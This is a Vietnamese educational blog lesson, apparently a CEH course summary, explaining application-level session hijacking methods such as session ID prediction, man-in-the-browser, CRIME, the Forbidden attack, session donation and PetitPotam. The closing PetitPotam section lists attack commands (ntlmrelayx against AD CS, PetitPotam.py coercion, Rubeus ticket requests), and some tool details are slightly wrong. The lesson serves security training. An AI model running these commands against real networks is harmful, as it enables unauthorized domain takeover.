Phần CEH Module 11 này mình sẽ đề cập đến hijacking phiên làm việc cấp ứng dụng và các phương pháp khác nhau để đánh cắp session-token, chẳng hạn như sniffing session và việc sử dụng token session dễ đoán.
Trong hijacking session cấp ứng dụng, hacker đánh cắp hoặc dự đoán một session token hợp lệ để truy cập trái phép vào web server hoặc tạo một phiên làm việc không được ủy quyền mới. Thông thường, hijacking cấp mạng và hijacking cấp ứng dụng xảy ra cùng nhau vì hijacking phiên cấp mạng thành công cung cấp cho hacker đủ thông tin để thực hiện hijacking cấp ứng dụng. Hijacking phiên cấp ứng dụng dựa trên các phiên HTTP.
Hacker triển khai các kỹ thuật khác nhau để thu được session ID hợp lệ từ đó giành quyền kiểm soát phiên của người dùng.
- Stealing: Lấy cắp khóa phiên thông qua truy cập vật lý bằng cách như ăn cắp file chứa session ID hoặc nội dung bộ nhớ, nghe trộm lưu lượng để trích xuất session ID từ các gói tin.
- Guessing: Cố gắng đoán session ID bằng cách quan sát các session variables. Trong trường hợp chiếm đoạt phiên, phạm vi các giá trị session ID có thể đoán được là hạn chế. Do đó, kỹ thuật đoán chỉ hiệu quả khi server sử dụng cơ chế tạo session ID yếu hoặc không hoàn chỉnh.
- Brute forcing: Thử tất cả các hoán vị có thể của các giá trị session ID cho đến khi tìm được một giá trị hợp lệ. Hacker sử dụng kết nối DSL có thể tạo ra đến 1.000 session ID mỗi giây. Kỹ thuật này hữu ích nhất khi thuật toán tạo session ID là thuật toán không ngẫu nhiên.

Như hình trên, một người dùng hợp lệ kết nối tới một server với session ID VW30422101522507. Bằng cách sử dụng các kết hợp khác nhau như VW30422101518909 và VW30422101520803, hacker cố gắng tấn công brute-force vào session ID với hy vọng cuối cùng sẽ tìm được session ID đúng. Lưu ý một cuộc tấn công brute-force vào session ID được gọi là cuộc tấn công dự đoán session nếu phạm vi các giá trị dự đoán cho session ID rất nhỏ.
Dự đoán Session IDs
Hầu hết web server tạo session ID bằng cách sử dụng thuật toán tùy chỉnh hoặc một form đã được định sẵn hoặc có thể là những thuật toán có quy trình phức tạp hơn như tính toán dựa vào thời gian và các biến số cụ thể. Do đó, hacker có thể xác định session ID được tạo ra theo các cách sau đây:
- Nhúng vào URL.
- Nhúng vào form dưới dạng hidden field bằng phương thức POST của HTTP.
- Nhúng trong cookie trên máy cục bộ của client.
Hacker đoán giá trị session duy nhất hoặc suy luận session ID. Như được thể hiện trong hình ảnh dưới đây, hacker trước tiên chụp lại một số session ID và phân tích pattern.

Dựa trên phân tích pattern, vào lúc 16:25:55 ngày 14 tháng 4 năm 2022, hacker thành công dự đoán session ID:

Bây giờ hacker có thể tiến hành tấn công thông qua các bước sau đây.
- Thu được session ID hiện tại và kết nối tới ứng dụng web.
- Triển khai kỹ thuật tấn công bằng brute-force hoặc tính toán giá trị session ID tiếp theo.
- Thay đổi giá trị hiện tại trong cookie/URL/hidden field và giả mạo danh tính của người dùng.
Kỹ thuật Man-in-the-Middle/Manipulator-in-the-Middle
Tấn công Man-in-the-Middle (MITM) hoặc Manipulator-in-the-Middle được sử dụng để xâm nhập vào một kết nối hiện tại giữa các hệ thống và chặn các thông điệp đang truyền. Trong kiểu tấn công này, hacker sử dụng các kỹ thuật khác nhau và chia một kết nối TCP thành hai phần: kết nối từ client tới hacker và kết nối từ hacker đến server.

Kỹ thuật Man-in-the-Browser /Manipulator-in-the-Browser Attack
Tấn công Man-in-the-Browser (MITB) hoặc Manipulator-in-the-Browser tương tự như tấn công MITM. Sự khác biệt giữa hai kiểu tấn công này là Man-in-the-Browser sử dụng một con Trojan giữa trình duyệt và cơ chế bảo mật của nó nhằm thay đổi các trang web và nội dung giao dịch hoặc chèn thêm giao dịch. Tất cả các hoạt động của Trojan đều không thể nhìn thấy đối với người dùng và ứng dụng web.
Tấn công Man-in-the-Browser có thể thành công ngay cả khi có các cơ chế bảo mật như SSL, hạ tầng khóa công khai (PKI) và xác thực hai yếu tố.
Các bước để thực hiện cuộc tấn công Man-in-the-Browser như sau:
- Bước 1: Trojan trước tiên xâm nhập vào phần mềm trên máy tính (hệ điều hành hoặc ứng dụng).
- Bước 2: Trojan cài đặt mã độc (extension) và lưu trữ nó trong cấu hình trình duyệt.
- Bước 3: Sau khi người dùng khởi động lại trình duyệt, mã độc trong hình thức extension được tải lên.
- Bước 4: Các extension đăng ký một handler cho mỗi lần truy cập vào một trang web.
- Bước 5: Khi một trang web được load, extension so khớp URL của nó với danh sách các trang web được biết đến nhắm mục tiêu cho cuộc tấn công.
- Bước 6: Người dùng đăng nhập an toàn vào trang web.
- Bước 7: Extension đăng ký một button event handler khi phát hiện việc tải trang cụ thể với một mẫu cụ thể và so sánh nó với danh sách mục tiêu của nó.
- Bước 8: Khi người dùng nhấp chuột vào button, extension sử dụng giao diện Object Model (DOM) và trích xuất tất cả dữ liệu từ tất cả các trường biểu mẫu và thay đổi các giá trị.
- Bước 9: Trình duyệt gửi biểu mẫu và các giá trị đã được thay đổi đến server.
- Bước 10: Server nhận các giá trị đã được thay đổi nhưng không thể phân biệt giữa các giá trị gốc và giá trị đã được thay đổi.
- Bước 11: Sau khi server thực hiện giao dịch, một biên nhận được tạo ra.
- Bước 12: Bây giờ, trình duyệt nhận biên nhận cho giao dịch đã được thay đổi.
- Bước 13: Trình duyệt hiển thị biên nhận với các chi tiết gốc.
- Bước 14: Người dùng tin rằng giao dịch gốc đã được gửi đến server mà không có vấn đề gì.
Client-side Attacks
Các cuộc tấn công client-side nhắm vào những lỗ hổng trong các ứng dụng mà client tương tác với server hoặc xử lý dữ liệu độc hại. Hacker có thể khai thác các ứng dụng này bằng cách gửi email chứa liên kết độc hại hoặc lừa người dùng truy cập vào trang web lạ. Trong số các ứng dụng phía client dễ bị tấn công, trình duyệt là mục tiêu chính. Tấn công xảy ra khi client thiết lập kết nối với server độc hại và xử lý dữ liệu có thể gây hại từ server đó. Nếu không có tương tác nào xảy ra giữa client và server thì không có khả năng tấn công phía client.
- Cross-site scripting (XSS): XSS cho phép hacker chèn mã độc ở phía client vào các trang web mà người dùng khác đang xem.
- JavaScript code: Nhúng mã độc vào trang web mà không tạo ra bất kỳ cảnh báo nào, nhưng lại bắt các session token trong background và gửi chúng đến hacker.
- Trojan: Trojan có thể thay đổi cài đặt proxy trong trình duyệt để gửi tất cả các session tới máy của hacker.

Session Replay Attacks
Trong tấn công tái hiện phiên (session replay attack), hacker bắt lấy mã xác thực của người dùng bằng cách nghe lén cuộc trò chuyện giữa người dùng và server. Sau khi mã xác thực được bắt, hacker tái hiện yêu cầu xác thực tới server với mã xác thực đó nhằm đánh lừa server; kết quả là hacker thu được quyền truy cập trái phép vào server. Một cuộc tấn công tái hiện phiên bao gồm các bước sau đây:
- Người dùng thiết lập kết nối với web server.
- Server yêu cầu thông tin xác thực từ người dùng.
- Người dùng gửi mã xác thực tới server. Trong bước này, hacker bắt lấy mã xác thực bằng các kỹ thuật nghe lén.
- Sau khi có mã xác thực, hacker hiện yêu cầu tới server.

Sử dụng Proxy Servers – CEH Module 11
Hacker lừa nạn nhân vào một liên kết giả, chuyển hướng nạn nhân đến server của hacker. Hacker sau đó chuyển tiếp yêu cầu đến server đích thay mặt cho nạn nhân và đóng vai trò là một proxy cho toàn bộ giao tiếp.

CRIME Attack
Compression Ratio Info-Leak Made Easy (CRIME) là một kiểu tấn công phía máy khách (client-side) tận dụng các lỗ hổng trong tính nén dữ liệu của các giao thức như SSL/Transport Layer Security (TLS), SPDY và HTTP Secure (HTTPS). Khả năng giảm thiểu rủi ro đối với việc nén HTTPS là thấp, điều này làm cho lỗ hổng này nguy hiểm hơn các lỗ hổng nén khác.
Khi hai server trên Internet thiết lập một kết nối sử dụng HTTPS, một phiên TLS được thiết lập và dữ liệu được truyền đi dưới dạng mã hóa. Do đó, gây khó khăn cho hacker trong viêc đọc hoặc sửa đổi các thông điệp giữa hai server. Khi người dùng đăng nhập vào một trang web, dữ liệu xác thực được lưu trữ trong một cookie. Khi trình duyệt gửi một yêu cầu HTTPS đến ứng dụng web, cookie đã được lưu trữ được sử dụng để xác thực. Trong kiểu tấn công này, hacker cố gắng truy cập vào cookie để chiếm đoạt phiên làm việc của nạn nhân.
Trong HTTPS, cookie được nén bằng thuật toán nén dữ liệu không mất mát (DEFLATE) và sau đó được mã hóa.
Để thực hiện tấn công CRIME, hacker phải sử dụng các kỹ thuật xâm nhập xã hội (social engineering) để lừa nạn nhân nhấp vào một liên kết. Khi nạn nhân nhấp vào, nó có thể inject độc vào hệ thống hoặc chuyển hướng nạn nhân đến một trang web khác. Nếu nạn nhân đã thiết lập một kết nối HTTPS với một ứng dụng web, hacker sử dụng các kỹ thuật như ARP spoofing để nghe lén lưu lượng HTTPS của nạn nhân. Thông qua việc nghe lén, hacker bắt các giá trị cookie từ các thông điệp HTTPS và gửi nhiều yêu cầu HTTPS đến ứng dụng web với cookie đó. Sau đó, hacker theo dõi lưu lượng giữa nạn nhân và trang web để thu được giá trị đã được nén và mã hóa của cookie. Sau khi bắt cookie, hacker phân tích độ dài cookie và dự đoán giá trị thực tế của nó. Sau khi thu được cookie xác thực, hacker giả mạo nạn nhân và chiếm đoạt phiên làm việc để lấy cắp thông tin nhạy cảm. Hacker sử dụng các công cụ như CrimeCheck để phát hiện xem một web server có bật nén TLS hoặc HTTP hay không và do đó có thể bị tấn công CRIME.

Forbidden Attack
Một cuộc tấn công forbidden là một dạng tấn công MITM (Man-in-the-Middle) có thể được thực hiện khi một cryptographic nonce được sử dụng lại trong quá trình thiết lập phiên HTTPS với một server. Theo đặc tả TLS, những mảnh dữ liệu tùy ý này phải được sử dụng một lần duy nhất. Cuộc tấn công này khai thác lỗ hổng trong việc triển khai TLS khi mã hóa dữ liệu bằng chế độ Advanced Encryption Standard-Galois/Counter Mode (AES-GCM) trong quá trình bắt tay TLS. Hacker khai thác lỗ hổng này để thực hiện MITM bằng cách tạo ra các khóa mã hóa được sử dụng cho xác thực. Việc lặp lại cùng một cryptographic nonce trong quá trình bắt tay TLS cho phép hacker giám sát và chiếm đoạt kết nối. Sau khi chiếm đoạt phiên HTTPS và vượt qua các biện pháp bảo vệ, hacker inject mã độc và nội dung giả mạo vào quá trình truyền, như JavaScript hoặc các field mà web yêu cầu người dùng điền vào.
Một cuộc tấn công forbidden bao gồm các bước sau đây:
- Hacker giám sát kết nối giữa nạn nhân và web server nhằm nghe lén cryptographic nonce từ các thông điệp bắt tay TLS.
- Hacker tạo ra các khóa xác thực bằng cách sử dụng cryptographic nonce và chiếm đoạt kết nối.
- Toàn bộ lưu lượng giữa nạn nhân và web server được chuyển qua máy của hacker.
- Hacker inject code JavaScript hoặc các web field vào quá trình truyền tới nạn nhân.
- Nạn nhân tiết lộ thông tin nhạy cảm như số tài khoản ngân hàng, mật khẩu,… cho hacker.

Session Donation Attack
Trong tấn công session donation, hacker chuyển nhượng session ID của chính mình cho mục tiêu. Hacker trước tiên thu được một session ID hợp lệ bằng cách đăng nhập vào một dịch vụ, sau đó cung cấp session ID đó cho mục tiêu. Session ID này liên kết mục tiêu với tài khoản của hacker mà không tiết lộ bất kỳ thông tin nào. Khi mục tiêu nhấp vào liên kết và nhập các thông tin ên người dùng, mật khẩu, thông tin thanh toán,…, các nội dung đã nhập sẽ liên kết với tài khoản của hacker. Hacker có thể gửi session ID của mình bằng cách sử dụng các kỹ thuật như cross-site cooking, Man-in-the-Middle và session fixation.
Các bước tấn công Session Donation:
- Đầu tiên, hacker đăng nhập vào một dịch vụ, thiết lập một kết nối hợp pháp với web server mục tiêu và xóa thông tin đã lưu trữ.
- Web server mục tiêu (ví dụ: http://citibank.com/) phát hành một session ID, ví dụ như 0D6441FEA4496C2, cho hacker.
- Hacker sau đó chuyển nhượng session ID của mình, ví dụ như http://citibank.com/?SID=0D6441FEA4496C2, cho nạn nhân và lừa nạn nhân nhấp vào để truy cập vào trang web.
- Nạn nhân nhấp vào liên kết, tưởng rằng đó là một liên kết bình thường được gửi bởi ngân hàng. Cuối cùng, nạn nhân nhập thông tin của mình vào trang và lưu lại.
- Hacker đăng nhập với tư cách chính mình và thu thập thông tin của nạn nhân.

PetitPotam Hijacking
Trong tấn công PetitPotam, một Domain Controller (DC) bị tấn công buộc phải khởi tạo quá trình xác thực tới server của hacker. Để làm điều này, hacker sử dụng lời gọi Microsoft’s Encrypting File System Remote Protocol (MS-EFSRPC) API để chiếm đoạt phiên xác thực. SMB server của hacker can thiệp vào session làm cho Domain Controller tin rằng hacker là người dùng hợp lệ và nhận được mã băm NTLM của Domain Controller. Điều này đòi hỏi hacker phải có thông tin đăng nhập hợp lệ của người dùng bình thường.
Sau đó, hacker chuyển tiếp việc xác thực NTLM từ Domain Controller tới Active Directory Certificate Services (AD CS) và tạo ra một chứng chỉ. Trong một số trường hợp, AD CS có thể đóng vai trò của DC. Sử dụng chứng chỉ này, hacker thu được đặc quyền quản trị và tiếp quản hoàn toàn quyền điều khiển của server AD và sau đó điều khiển toàn hệ thống mạng được quản lý bởi DC.
Các bước thực hiện tấn công PetitPotam như sau:
- Hacker sử dụng thông tin đăng nhập NTLM đã thu thập để xác thực với server mục tiêu.
- Hacker sử dụng lệnh EfsRpcOpenFileRaw từ API MS-EFSRPC để ép server mục tiêu thực hiện xác thực NTLM của một hệ thống khác.
- Bây giờ, hacker khởi động cuộc tấn công NTLM replay để lấy quyền truy cập từ xa vào server AD CS mục tiêu.
- Cuối cùng, hacker tạo một chứng chỉ AD để thu được đặc quyền quản trị trên server AD mục tiêu.
Thực hiện các lệnh sau để tấn công PetitPotam hijacking:
Xác định certificate authority:
certutil.exeSử dụng lệnh sau từ bộ công cụ Impacket để thiết lập cấu hình HTTP/SMB để thu thập thông tin đăng nhập từ DC:
ntlmrelayx.py -t <URL of Certificate authority with web enrolment> -smb2support --adcs --template DomaincontrollerSử dụng lệnh sau để buộc xác thực sử dụng thông tin đăng nhập đã thu thập thông qua lời gọi API MS-EFSRPC:
python3 PetitPotam.py -d <CA name> -u <Username> -p <Password> <Listener-IP> <IP of DC>Cuộc tấn công cũng có thể được thực hiện mà không cần thông tin đăng nhập nếu DC có lỗ hổng. Sử dụng lệnh sau để khởi chạy PetitPotam mà không cần thông tin đăng nhập để nhận hàm NTLM của chứng chỉ.
python3 PetitPotam.py <Attacker's IP> <IP of DC>Sau khi thu được hàm NTLM của chứng chỉ, sử dụng các công cụ phá mật khẩu như Rubeus để yêu cầu một ticket Kerberos cho máy chứa quyền đặc quyền của tài khoản DC:
Rubeus.exe asktgt /outfile.kirbi /dc:<DC-IP> /domain: domain name /user: <Domain username> /ptt /certificate: <NTLM hashes received from above command>
![[CEH] Module 11 - Phần 1: Session Hijacking là gì? 20 [CEH] Module 11 – Phần 1: Session Hijacking là gì?](https://sinhviencntt.net/wp-content/uploads/2023/07/m11-p1-350x250.png)
![[CEH] Module 10 - Phần 5: Thực hành DoS sử dụng Metasploit và Hping3 21 [CEH] Module 10 – Phần 5: Thực hành DoS sử dụng Metasploit và Hping3](https://sinhviencntt.net/wp-content/uploads/2025/04/m10-p5-350x250.png)
![[CEH] Module 10 - Phần 4: Các giải pháp chống lại DDoS 22 [CEH] Module 10 – Phần 4: Các giải pháp chống lại DDoS](https://sinhviencntt.net/wp-content/uploads/2025/01/m10-p4-350x250.png)
![[CEH] Module 10 - Phần 3: Một số kiểu tấn công từ chối dịch vụ (tiếp theo) 23 [CEH] Module 10 – Phần 3: Một số kiểu tấn công từ chối dịch vụ (tiếp theo)](https://sinhviencntt.net/wp-content/uploads/2025/01/m10-p2-350x250.png)
![[CEH] Module 10 – Phần 2: Một số kiểu tấn công từ chối dịch vụ DoS/DDoS 24 [CEH] Module 10 – Phần 2: Một số kiểu tấn công từ chối dịch vụ DoS/DDoS](https://sinhviencntt.net/wp-content/uploads/2024/09/m10-p2-350x250.png)
![[CEH] Module 10 - Phần 1: Tấn công từ chối dịch vụ là gì? 25 [CEH] Module 10 – Phần 1: Tấn công từ chối dịch vụ là gì?](https://sinhviencntt.net/wp-content/uploads/2024/08/m10-p1-350x250.png)
